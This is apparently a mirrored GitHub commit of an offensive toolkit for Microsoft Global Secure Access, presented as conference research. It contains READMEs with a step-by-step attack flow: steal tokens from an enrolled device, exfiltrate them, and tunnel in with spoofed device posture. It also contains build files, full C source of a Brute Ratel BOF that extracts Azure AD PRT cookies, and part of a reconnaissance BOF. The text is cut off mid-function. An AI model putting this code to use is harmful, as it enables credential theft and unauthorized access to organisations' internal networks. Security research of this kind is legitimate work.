mirror of
https://github.com/ar0x4/tunnel-vision-toolkit
synced 2026-06-13 14:24:47 +00:00
Init Commit
This commit is contained in:
@@ -0,0 +1,111 @@
|
||||
# Tunnel Vision Toolkit
|
||||
|
||||
[](https://x33fcon.com/)
|
||||
|
||||
Offensive security toolkit for Microsoft Global Secure Access (GSA), Microsoft's Zero Trust Network Access (ZTNA) solution. Developed as part of the research presented at **x33fcon 2026** — *"Tunnel Vision: What Microsoft's Secure Edge Can't See"*.
|
||||
|
||||
## Overview
|
||||
|
||||
Microsoft Global Secure Access is an identity-aware, cloud-delivered network security service that replaces traditional VPNs. It intercepts traffic at the kernel level via a WFP driver, routes it through Microsoft's cloud edge, and delivers it to on-premises resources via connectors. It enforces device compliance, conditional access, and per-app policies.
|
||||
|
||||
This research reverse-engineered the GSA wire protocol and built a fully independent tunnel client from scratch. The custom client runs on Linux and macOS, speaks the same gRPC-based protocol, and establishes a working ZTNA tunnel. Device posture checks are self-reported by the client and not validated server-side, which the custom client takes advantage of to present arbitrary device metadata.
|
||||
|
||||
## Components
|
||||
|
||||
### Rogue Client (`rogue-client/`)
|
||||
|
||||
A standalone Python tunnel client that connects to the GSA edge from **any OS** (Linux, macOS, Windows) and routes arbitrary traffic through the ZTNA tunnel. Uses a TUN interface for transparent network integration.
|
||||
|
||||
**Capabilities:**
|
||||
- Establishes authenticated gRPC tunnel to Microsoft's edge servers
|
||||
- Creates a TUN device and routes traffic through the tunnel transparently
|
||||
- Per-flow authentication with automatic flow lifecycle management
|
||||
- Spoofs device metadata to appear as a legitimate Windows client
|
||||
- Parses JWT tokens from TokenBroker dump files by audience
|
||||
|
||||
See [`rogue-client/README.md`](rogue-client/README.md) for setup and usage.
|
||||
|
||||
### BOFs (`bofs/`)
|
||||
|
||||
Beacon Object Files for [BRC4](https://bruteratel.com/) (portable to Cobalt Strike with minor modifications).
|
||||
|
||||
#### GSA Token Theft (`bofs/gsa-token-theft/`)
|
||||
|
||||
Two BOFs for GSA-enrolled Windows targets:
|
||||
|
||||
| BOF | Description |
|
||||
|-----|-------------|
|
||||
| `gsa_enum` | Full GSA reconnaissance — installation, services, processes, registry, security posture, forwarding profile with JSON dump |
|
||||
| `gsa_tbres_steal` | Extracts GSA authentication tokens from TokenBroker `.tbres` cache files via DPAPI decryption |
|
||||
|
||||
See [`bofs/README.md`](bofs/README.md) for build instructions.
|
||||
|
||||
### Protocol Definition (`proto/`)
|
||||
|
||||
The reconstructed ZTNA v2 protobuf definition, extracted from embedded descriptors in `GlobalSecureAccessTunnelingService.exe` via Ghidra analysis.
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
Rogue Client (any OS)
|
||||
|
|
||||
gRPC / TLS :443
|
||||
|
|
||||
v
|
||||
┌────────────────────────────────┐
|
||||
│ Microsoft GSA Edge │
|
||||
│ *.globalsecureaccess.microsoft │
|
||||
│ .com │
|
||||
└───────────────┬────────────────┘
|
||||
│
|
||||
Outbound connector tunnel
|
||||
│
|
||||
v
|
||||
┌────────────────────────────────┐
|
||||
│ On-Premises Connector │
|
||||
│ (customer network) │
|
||||
└───────────────┬────────────────┘
|
||||
│
|
||||
v
|
||||
Internal Resources
|
||||
(DCs, file shares, apps)
|
||||
```
|
||||
|
||||
## Build & Usage
|
||||
|
||||
1. Build Protocol Buffers:
|
||||
```bash
|
||||
cd proto
|
||||
python3 -m grpc_tools.protoc -I. --python_out=../rogue-client --grpc_python_out=../rogue-client gsa_tunnel.proto
|
||||
```
|
||||
2. Run the rogue client:
|
||||
```bash
|
||||
cd rogue-client
|
||||
python3 gsa_tunnel.py --tenant <tenant-id> --tokens <path-to-tokens.json>
|
||||
```
|
||||
|
||||
## Attack Flow
|
||||
|
||||
```
|
||||
1. Land on GSA-enrolled Windows device
|
||||
2. Run gsa_enum BOF → confirm GSA installation, dump forwarding profile
|
||||
3. Run gsa_tbres_steal BOF → extract TUNNEL/PORTO/APS tokens from TokenBroker
|
||||
4. Exfiltrate tokens to attacker machine
|
||||
5. Run rogue client from attacker machine (Linux/macOS)
|
||||
→ Full authenticated tunnel to internal network
|
||||
→ Device posture spoofed, no compliance checks
|
||||
→ Access persists until tokens expire (~75 min)
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
This project is released for **authorized security testing and research purposes only**.
|
||||
|
||||
## ToDos
|
||||
- [ ] Implement automatic token refresh in rogue client using refresh tokens
|
||||
- [ ] Add Entra Internet Access (EIA) support
|
||||
|
||||
## Author
|
||||
|
||||
**Arshia Reisi** ([@_ar0x4](https://x.com/_ar0x4))
|
||||
Presented at x33fcon 2026
|
||||
@@ -0,0 +1,56 @@
|
||||
# GSA Beacon Object Files
|
||||
|
||||
BOFs for reconnaissance and token extraction on Microsoft Global Secure Access enrolled Windows devices. Written for [BRC4](https://bruteratel.com/) (`coffee` entry point, `BadgerDispatch` output).
|
||||
|
||||
## BOFs
|
||||
|
||||
### gsa-token-theft/gsa_enum
|
||||
|
||||
Full GSA reconnaissance. Enumerates:
|
||||
|
||||
- **Installation** — binary paths, file versions, subdirectories
|
||||
- **Services** — status of all four GSA Windows services
|
||||
- **Processes** — running GSA process PIDs and thread counts
|
||||
- **Registry** — HKLM and HKCU configuration values
|
||||
- **Security posture** — `RestrictNonPrivilegedUsers`, `HideDisableButton`, mTLS cert, bypass flags
|
||||
- **Forwarding profile** — tenant ID, enabled channels (M365/Private/Internet), rule counts, edge server, full JSON dump
|
||||
|
||||
No arguments required. Runs as current user (non-admin sufficient for most checks).
|
||||
|
||||
### gsa-token-theft/gsa_tbres_steal
|
||||
|
||||
Extracts GSA authentication tokens from the Windows TokenBroker cache:
|
||||
|
||||
1. Scans `%USERPROFILE%\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres`
|
||||
2. Finds DPAPI-protected response blobs (`IsProtected: true`)
|
||||
3. Decrypts via `CryptUnprotectData` (works in the token owner's user context)
|
||||
4. Scans decrypted data for JWTs matching GSA audiences
|
||||
5. Outputs token type (TUNNEL/PORTO/APS), audience, scope, expiry, and full JWT
|
||||
|
||||
**Requirements:** Must run as the user who owns the TokenBroker cache. DPAPI decryption uses the user's credentials — running as a different user or SYSTEM will fail.
|
||||
|
||||
|
||||
## Building
|
||||
|
||||
Requires MinGW cross-compiler:
|
||||
|
||||
```bash
|
||||
# Install cross-compiler (Debian/Ubuntu)
|
||||
sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
|
||||
|
||||
# Build BOFs
|
||||
cd bofs/gsa-token-theft && make
|
||||
```
|
||||
|
||||
Output: `out64/*.o` (x64) and `out86/*.o` (x86) object files, ready to load in BRC4.
|
||||
|
||||
## Porting to Cobalt Strike
|
||||
|
||||
The BOFs use BRC4's `BadgerDispatch` for output and `BadgerAlloc`/`BadgerFree` for memory. To port to Cobalt Strike:
|
||||
|
||||
- Replace `BadgerDispatch` → `BeaconPrintf`
|
||||
- Replace `BadgerAlloc` → `intAlloc`
|
||||
- Replace `BadgerFree` → `intFree`
|
||||
- Replace `BadgerMemcpy/Memset/Strcmp` → standard CRT equivalents
|
||||
- Change entry point from `coffee` → `go`
|
||||
- Replace `badger_exports.h` with Cobalt Strike's `beacon.h`
|
||||
@@ -0,0 +1,25 @@
|
||||
CC64 = x86_64-w64-mingw32-gcc
|
||||
CC86 = i686-w64-mingw32-gcc
|
||||
CFLAGS = -Os -s -w
|
||||
STRIP64 = x86_64-w64-mingw32-strip
|
||||
STRIP86 = i686-w64-mingw32-strip
|
||||
|
||||
BOFS = aad_prt
|
||||
|
||||
all: dirs $(foreach b,$(BOFS),out64/$(b)64.o out86/$(b)86.o)
|
||||
|
||||
dirs:
|
||||
@mkdir -p out64 out86
|
||||
|
||||
out64/%64.o: %.c
|
||||
$(CC64) $(CFLAGS) -c $< -o $@
|
||||
$(STRIP64) --strip-unneeded $@
|
||||
|
||||
out86/%86.o: %.c
|
||||
$(CC86) $(CFLAGS) -c $< -o $@
|
||||
$(STRIP86) --strip-unneeded $@
|
||||
|
||||
clean:
|
||||
rm -rf out64 out86
|
||||
|
||||
.PHONY: all dirs clean
|
||||
@@ -0,0 +1,146 @@
|
||||
/*
|
||||
* aad_prt.c — AAD PRT Cookie Extractor (BRC4 BOF)
|
||||
* Extracts Azure AD Primary Refresh Token cookies via
|
||||
* IProofOfPossessionCookieInfoManager COM interface.
|
||||
*
|
||||
* Usage: aad_prt [nonce]
|
||||
* nonce - optional SSO nonce for targeted PRT request
|
||||
*
|
||||
* Ported from: https://github.com/wotwot563/aad_prt_bof
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
/* Win32 API imports */
|
||||
DECLSPEC_IMPORT LPWSTR Kernel32$lstrcpynW(LPWSTR, LPCWSTR, int);
|
||||
DECLSPEC_IMPORT LPWSTR Kernel32$lstrcatW(LPWSTR, LPCWSTR);
|
||||
DECLSPEC_IMPORT int Kernel32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||
|
||||
DECLSPEC_IMPORT HRESULT Ole32$CLSIDFromString(LPCOLESTR, LPCLSID);
|
||||
DECLSPEC_IMPORT HRESULT Ole32$IIDFromString(LPCOLESTR, LPIID);
|
||||
DECLSPEC_IMPORT HRESULT Ole32$CoInitializeEx(LPVOID, DWORD);
|
||||
DECLSPEC_IMPORT HRESULT Ole32$CoCreateInstance(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID *);
|
||||
DECLSPEC_IMPORT void Ole32$CoTaskMemFree(LPVOID);
|
||||
|
||||
DECLSPEC_IMPORT size_t Msvcrt$wcslen(const wchar_t *);
|
||||
DECLSPEC_IMPORT size_t Msvcrt$strlen(const char *);
|
||||
|
||||
/* COM interface definitions (inline to avoid SDK header dependencies) */
|
||||
typedef struct {
|
||||
LPWSTR name;
|
||||
LPWSTR data;
|
||||
DWORD flags;
|
||||
LPWSTR p3pHeader;
|
||||
} PoP_CookieInfo;
|
||||
|
||||
typedef struct IPoP_CookieManagerVtbl {
|
||||
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *, REFIID, void **);
|
||||
ULONG (STDMETHODCALLTYPE *AddRef)(void *);
|
||||
ULONG (STDMETHODCALLTYPE *Release)(void *);
|
||||
HRESULT (STDMETHODCALLTYPE *GetCookieInfoForUri)(void *, LPCWSTR, DWORD *, PoP_CookieInfo **);
|
||||
} IPoP_CookieManagerVtbl;
|
||||
|
||||
typedef struct {
|
||||
IPoP_CookieManagerVtbl *lpVtbl;
|
||||
} IPoP_CookieManager;
|
||||
|
||||
static int requestaadprt(WCHAR **dispatch, const wchar_t *nonce) {
|
||||
LPCWSTR uri = L"https://login.microsoftonline.com/";
|
||||
wchar_t *full_uri = NULL;
|
||||
|
||||
if (nonce != NULL && Msvcrt$wcslen(nonce) > 0) {
|
||||
const wchar_t *base = L"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=";
|
||||
size_t len = Msvcrt$wcslen(base) + Msvcrt$wcslen(nonce) + 2;
|
||||
full_uri = (wchar_t *)BadgerAlloc(len * sizeof(wchar_t));
|
||||
if (!full_uri) {
|
||||
BadgerDispatch(dispatch, "[-] alloc failed\n");
|
||||
return 1;
|
||||
}
|
||||
BadgerMemset(full_uri, 0, len * sizeof(wchar_t));
|
||||
Kernel32$lstrcpynW(full_uri, base, (int)(Msvcrt$wcslen(base) + 1));
|
||||
Kernel32$lstrcatW(full_uri, nonce);
|
||||
uri = full_uri;
|
||||
}
|
||||
|
||||
BadgerDispatch(dispatch, "[*] URI: %ls\n", uri);
|
||||
|
||||
GUID clsid, iid;
|
||||
Ole32$CLSIDFromString(L"{A9927F85-A304-4390-8B23-A75F1C668600}", &clsid);
|
||||
Ole32$IIDFromString(L"{CDAECE56-4EDF-43DF-B113-88E4556FA1BB}", &iid);
|
||||
|
||||
HRESULT hr = Ole32$CoInitializeEx(NULL, 0x0);
|
||||
if (hr == (HRESULT)0x80010106L) /* RPC_E_CHANGED_MODE */
|
||||
hr = Ole32$CoInitializeEx(NULL, 0x2);
|
||||
if (FAILED(hr)) {
|
||||
BadgerDispatch(dispatch, "[-] CoInitialize: 0x%08x\n", hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
IPoP_CookieManager *mgr = NULL;
|
||||
hr = Ole32$CoCreateInstance(&clsid, NULL, 0x1 /* CLSCTX_INPROC_SERVER */, &iid, (void **)&mgr);
|
||||
if (FAILED(hr)) {
|
||||
BadgerDispatch(dispatch, "[-] CoCreateInstance: 0x%08x\n", hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
DWORD count = 0;
|
||||
PoP_CookieInfo *cookies = NULL;
|
||||
hr = mgr->lpVtbl->GetCookieInfoForUri(mgr, uri, &count, &cookies);
|
||||
if (FAILED(hr)) {
|
||||
BadgerDispatch(dispatch, "[-] GetCookieInfoForUri: 0x%08x\n", hr);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (count == 0) {
|
||||
BadgerDispatch(dispatch, "[-] No cookies for URI\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
BadgerDispatch(dispatch, "[+] Found %lu cookie(s)\n\n", count);
|
||||
|
||||
for (DWORD i = 0; i < count; i++) {
|
||||
BadgerDispatch(dispatch, "[Cookie %lu]\n", i);
|
||||
BadgerDispatch(dispatch, " Name: %ls\n", cookies[i].name);
|
||||
BadgerDispatch(dispatch, " Data: %ls\n", cookies[i].data);
|
||||
BadgerDispatch(dispatch, " Flags: 0x%x\n", cookies[i].flags);
|
||||
BadgerDispatch(dispatch, " P3PHeader: %ls\n\n", cookies[i].p3pHeader);
|
||||
|
||||
Ole32$CoTaskMemFree(cookies[i].name);
|
||||
Ole32$CoTaskMemFree(cookies[i].data);
|
||||
Ole32$CoTaskMemFree(cookies[i].p3pHeader);
|
||||
}
|
||||
Ole32$CoTaskMemFree(cookies);
|
||||
|
||||
cleanup:
|
||||
if (full_uri) BadgerFree((PVOID *)&full_uri);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void coffee(char **argv, int argc, WCHAR **dispatch) {
|
||||
g_dispatch = dispatch;
|
||||
|
||||
BadgerDispatch(dispatch, "=================================\n");
|
||||
BadgerDispatch(dispatch, " AAD PRT Cookie Extractor\n");
|
||||
BadgerDispatch(dispatch, "=================================\n\n");
|
||||
|
||||
wchar_t *nonce = NULL;
|
||||
|
||||
if (argc >= 2 && argv[1] != NULL && Msvcrt$strlen(argv[1]) > 0) {
|
||||
int len = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0);
|
||||
if (len > 0) {
|
||||
nonce = (wchar_t *)BadgerAlloc(len * sizeof(wchar_t));
|
||||
if (nonce) {
|
||||
BadgerMemset(nonce, 0, len * sizeof(wchar_t));
|
||||
Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, nonce, len);
|
||||
BadgerDispatch(dispatch, "[*] Nonce: %ls\n", nonce);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[*] No nonce provided, using default URI\n");
|
||||
}
|
||||
|
||||
requestaadprt(dispatch, nonce);
|
||||
|
||||
if (nonce) BadgerFree((PVOID *)&nonce);
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#include <windows.h>
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch);
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char* string);
|
||||
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
|
||||
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
|
||||
DECLSPEC_IMPORT BOOL BadgerSetdebug();
|
||||
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
|
||||
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
|
||||
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
|
||||
DECLSPEC_IMPORT VOID BadgerSetToken(HANDLE hToken);
|
||||
DECLSPEC_IMPORT BOOL BadgerAddPrivilege(CHAR* privilegeName);
|
||||
|
||||
WCHAR** g_dispatch __attribute__((section(".data"))) = 0;
|
||||
@@ -0,0 +1,25 @@
|
||||
CC64 = x86_64-w64-mingw32-gcc
|
||||
CC86 = i686-w64-mingw32-gcc
|
||||
CFLAGS = -Os -s -w
|
||||
STRIP64 = x86_64-w64-mingw32-strip
|
||||
STRIP86 = i686-w64-mingw32-strip
|
||||
|
||||
BOFS = gsa_enum gsa_tbres_steal
|
||||
|
||||
all: dirs $(foreach b,$(BOFS),out64/$(b)64.o out86/$(b)86.o)
|
||||
|
||||
dirs:
|
||||
@mkdir -p out64 out86
|
||||
|
||||
out64/%64.o: %.c
|
||||
$(CC64) $(CFLAGS) -c $< -o $@
|
||||
$(STRIP64) --strip-unneeded $@
|
||||
|
||||
out86/%86.o: %.c
|
||||
$(CC86) $(CFLAGS) -c $< -o $@
|
||||
$(STRIP86) --strip-unneeded $@
|
||||
|
||||
clean:
|
||||
rm -rf out64 out86
|
||||
|
||||
.PHONY: all dirs clean
|
||||
@@ -0,0 +1,22 @@
|
||||
#include <windows.h>
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch);
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char* string);
|
||||
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
|
||||
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
|
||||
DECLSPEC_IMPORT BOOL BadgerSetdebug();
|
||||
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
|
||||
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
|
||||
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
|
||||
DECLSPEC_IMPORT VOID BadgerSetToken(HANDLE hToken);
|
||||
DECLSPEC_IMPORT BOOL BadgerAddPrivilege(CHAR* privilegeName);
|
||||
|
||||
WCHAR** g_dispatch __attribute__((section(".data"))) = 0;
|
||||
@@ -0,0 +1,491 @@
|
||||
/*
|
||||
* gsa_enum.c — GSA Reconnaissance BOF
|
||||
* Enumerates Microsoft Global Secure Access (ZTNA v2) installation,
|
||||
* services, processes, registry config, security posture, and
|
||||
* forwarding profile with full JSON dump.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
DECLSPEC_IMPORT DWORD Kernel32$GetLastError();
|
||||
DECLSPEC_IMPORT BOOL Kernel32$CloseHandle(HANDLE);
|
||||
DECLSPEC_IMPORT HANDLE Kernel32$CreateToolhelp32Snapshot(DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL Kernel32$Process32First(HANDLE, LPPROCESSENTRY32);
|
||||
DECLSPEC_IMPORT BOOL Kernel32$Process32Next(HANDLE, LPPROCESSENTRY32);
|
||||
DECLSPEC_IMPORT DWORD Kernel32$GetFileAttributesA(LPCSTR);
|
||||
|
||||
DECLSPEC_IMPORT LONG Advapi32$RegOpenKeyExA(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
DECLSPEC_IMPORT LONG Advapi32$RegCloseKey(HKEY);
|
||||
DECLSPEC_IMPORT LSTATUS Advapi32$RegEnumValueA(HKEY, DWORD, LPSTR, LPDWORD, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
DECLSPEC_IMPORT LSTATUS Advapi32$RegEnumKeyExA(HKEY, DWORD, LPSTR, LPDWORD, LPDWORD, LPSTR, LPDWORD, PFILETIME);
|
||||
DECLSPEC_IMPORT LSTATUS Advapi32$RegQueryValueExA(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
|
||||
DECLSPEC_IMPORT DWORD Version$GetFileVersionInfoSizeA(LPCSTR, LPDWORD);
|
||||
DECLSPEC_IMPORT BOOL Version$VerQueryValueA(LPCVOID, LPCSTR, LPVOID *, PUINT);
|
||||
DECLSPEC_IMPORT BOOL Version$GetFileVersionInfoA(LPCSTR, DWORD, DWORD, LPVOID);
|
||||
|
||||
DECLSPEC_IMPORT int Msvcrt$sprintf(char *, const char *, ...);
|
||||
DECLSPEC_IMPORT char *Msvcrt$strstr(const char *, const char *);
|
||||
DECLSPEC_IMPORT int Msvcrt$_strnicmp(const char *, const char *, size_t);
|
||||
DECLSPEC_IMPORT int Msvcrt$_stricmp(const char *, const char *);
|
||||
DECLSPEC_IMPORT size_t Msvcrt$strlen(const char *);
|
||||
|
||||
DECLSPEC_IMPORT SC_HANDLE Advapi32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD);
|
||||
DECLSPEC_IMPORT SC_HANDLE Advapi32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD);
|
||||
DECLSPEC_IMPORT BOOL Advapi32$QueryServiceStatus(SC_HANDLE, LPSERVICE_STATUS);
|
||||
DECLSPEC_IMPORT BOOL Advapi32$CloseServiceHandle(SC_HANDLE);
|
||||
|
||||
static const char *GSA_INSTALL_DIR = "C:\\Program Files\\Global Secure Access Client";
|
||||
static const char *GSA_KEY = "SOFTWARE\\Microsoft\\Global Secure Access Client";
|
||||
static const char *GSA_KEY_HKCU = "Software\\Microsoft\\Global Secure Access Client";
|
||||
|
||||
static const char *ServiceStateStr(DWORD state) {
|
||||
switch (state) {
|
||||
case SERVICE_STOPPED: return "STOPPED";
|
||||
case SERVICE_START_PENDING: return "START_PENDING";
|
||||
case SERVICE_STOP_PENDING: return "STOP_PENDING";
|
||||
case SERVICE_RUNNING: return "RUNNING";
|
||||
case SERVICE_PAUSED: return "PAUSED";
|
||||
default: return "UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintError(WCHAR **dispatch, const char *ctx) {
|
||||
DWORD err = Kernel32$GetLastError();
|
||||
if (err == 5)
|
||||
BadgerDispatch(dispatch, "[-] %s: access denied\n", ctx);
|
||||
else
|
||||
BadgerDispatch(dispatch, "[-] %s: error %lu\n", ctx, err);
|
||||
}
|
||||
|
||||
static BOOL ReadRegDword(HKEY root, const char *subkey, const char *name, DWORD *out) {
|
||||
HKEY hk;
|
||||
if (Advapi32$RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk) != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
DWORD type = 0, size = sizeof(DWORD);
|
||||
LSTATUS s = Advapi32$RegQueryValueExA(hk, name, NULL, &type, (LPBYTE)out, &size);
|
||||
Advapi32$RegCloseKey(hk);
|
||||
return (s == ERROR_SUCCESS && type == REG_DWORD);
|
||||
}
|
||||
|
||||
static BOOL ReadRegString(HKEY root, const char *subkey, const char *name, char *buf, DWORD bufSize) {
|
||||
HKEY hk;
|
||||
if (Advapi32$RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk) != ERROR_SUCCESS)
|
||||
return FALSE;
|
||||
DWORD type = 0, size = bufSize;
|
||||
BadgerMemset(buf, 0, bufSize);
|
||||
LSTATUS s = Advapi32$RegQueryValueExA(hk, name, NULL, &type, (LPBYTE)buf, &size);
|
||||
Advapi32$RegCloseKey(hk);
|
||||
return (s == ERROR_SUCCESS && (type == REG_SZ || type == REG_EXPAND_SZ));
|
||||
}
|
||||
|
||||
static int CountSubstring(const char *haystack, const char *needle) {
|
||||
int count = 0;
|
||||
const char *p = haystack;
|
||||
size_t nlen = Msvcrt$strlen(needle);
|
||||
while ((p = Msvcrt$strstr(p, needle)) != NULL) {
|
||||
count++;
|
||||
p += nlen;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
void EnumInstallation(WCHAR **dispatch) {
|
||||
BadgerDispatch(dispatch, "\n[*] === Installation & Version ===\n");
|
||||
|
||||
char path[MAX_PATH];
|
||||
const char *bins[] = {
|
||||
"GlobalSecureAccessClient.exe",
|
||||
"GlobalSecureAccessTunnelingService.exe",
|
||||
"GlobalSecureAccessEngineService.exe",
|
||||
"GlobalSecureAccessPolicyRetrieverService.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
DWORD attrs = Kernel32$GetFileAttributesA(GSA_INSTALL_DIR);
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
BadgerDispatch(dispatch, "[-] GSA not installed\n");
|
||||
return;
|
||||
}
|
||||
BadgerDispatch(dispatch, "[+] Install dir: %s\n", GSA_INSTALL_DIR);
|
||||
|
||||
for (int i = 0; bins[i]; i++) {
|
||||
Msvcrt$sprintf(path, "%s\\%s", GSA_INSTALL_DIR, bins[i]);
|
||||
if (Kernel32$GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES)
|
||||
continue;
|
||||
|
||||
DWORD handle = 0;
|
||||
DWORD size = Version$GetFileVersionInfoSizeA(path, &handle);
|
||||
if (size > 0) {
|
||||
PVOID vd = BadgerAlloc(size);
|
||||
if (vd && Version$GetFileVersionInfoA(path, handle, size, vd)) {
|
||||
VS_FIXEDFILEINFO *fi = NULL;
|
||||
UINT len = 0;
|
||||
if (Version$VerQueryValueA(vd, "\\", (LPVOID *)&fi, &len) && len > 0)
|
||||
BadgerDispatch(dispatch, "[+] %-48s v%lu.%lu.%lu.%lu\n", bins[i],
|
||||
HIWORD(fi->dwFileVersionMS), LOWORD(fi->dwFileVersionMS),
|
||||
HIWORD(fi->dwFileVersionLS), LOWORD(fi->dwFileVersionLS));
|
||||
}
|
||||
if (vd) BadgerFree(&vd);
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[+] %-48s (no version info)\n", bins[i]);
|
||||
}
|
||||
}
|
||||
|
||||
const char *subdirs[] = { "Cache Files", "Logs", "LogsCollector", "TrayApp", NULL };
|
||||
for (int i = 0; subdirs[i]; i++) {
|
||||
Msvcrt$sprintf(path, "%s\\%s", GSA_INSTALL_DIR, subdirs[i]);
|
||||
BadgerDispatch(dispatch, " %-20s %s\n", subdirs[i],
|
||||
(Kernel32$GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES) ? "exists" : "missing");
|
||||
}
|
||||
}
|
||||
|
||||
void EnumServices(WCHAR **dispatch) {
|
||||
BadgerDispatch(dispatch, "\n[*] === GSA Windows Services ===\n");
|
||||
|
||||
SC_HANDLE hSCM = Advapi32$OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) { PrintError(dispatch, "OpenSCManager"); return; }
|
||||
|
||||
struct { const char *name; const char *label; } svcs[] = {
|
||||
{ "GlobalSecureAccessTunnelingService", "Tunneling Service" },
|
||||
{ "GlobalSecureAccessEngineService", "Engine Service" },
|
||||
{ "GlobalSecureAccessPolicyRetrieverService", "Policy Retriever" },
|
||||
{ "GlobalSecureAccessDriver", "Kernel Driver" },
|
||||
{ NULL, NULL }
|
||||
};
|
||||
|
||||
int running = 0;
|
||||
for (int i = 0; svcs[i].name; i++) {
|
||||
SC_HANDLE hSvc = Advapi32$OpenServiceA(hSCM, svcs[i].name, SERVICE_QUERY_STATUS);
|
||||
if (hSvc) {
|
||||
SERVICE_STATUS ss;
|
||||
BadgerMemset(&ss, 0, sizeof(ss));
|
||||
if (Advapi32$QueryServiceStatus(hSvc, &ss)) {
|
||||
const char *m = (ss.dwCurrentState == SERVICE_RUNNING) ? "+" : "-";
|
||||
BadgerDispatch(dispatch, "[%s] %-24s %s\n", m, svcs[i].label, ServiceStateStr(ss.dwCurrentState));
|
||||
if (ss.dwCurrentState == SERVICE_RUNNING) running++;
|
||||
} else {
|
||||
PrintError(dispatch, svcs[i].label);
|
||||
}
|
||||
Advapi32$CloseServiceHandle(hSvc);
|
||||
} else {
|
||||
DWORD err = Kernel32$GetLastError();
|
||||
if (err == 5)
|
||||
BadgerDispatch(dispatch, "[-] %-24s access denied\n", svcs[i].label);
|
||||
else if (err == 1060)
|
||||
BadgerDispatch(dispatch, "[-] %-24s not installed\n", svcs[i].label);
|
||||
else
|
||||
BadgerDispatch(dispatch, "[-] %-24s error %lu\n", svcs[i].label, err);
|
||||
}
|
||||
}
|
||||
|
||||
Advapi32$CloseServiceHandle(hSCM);
|
||||
BadgerDispatch(dispatch, "[*] %d of 4 services running\n", running);
|
||||
}
|
||||
|
||||
void EnumProcesses(WCHAR **dispatch) {
|
||||
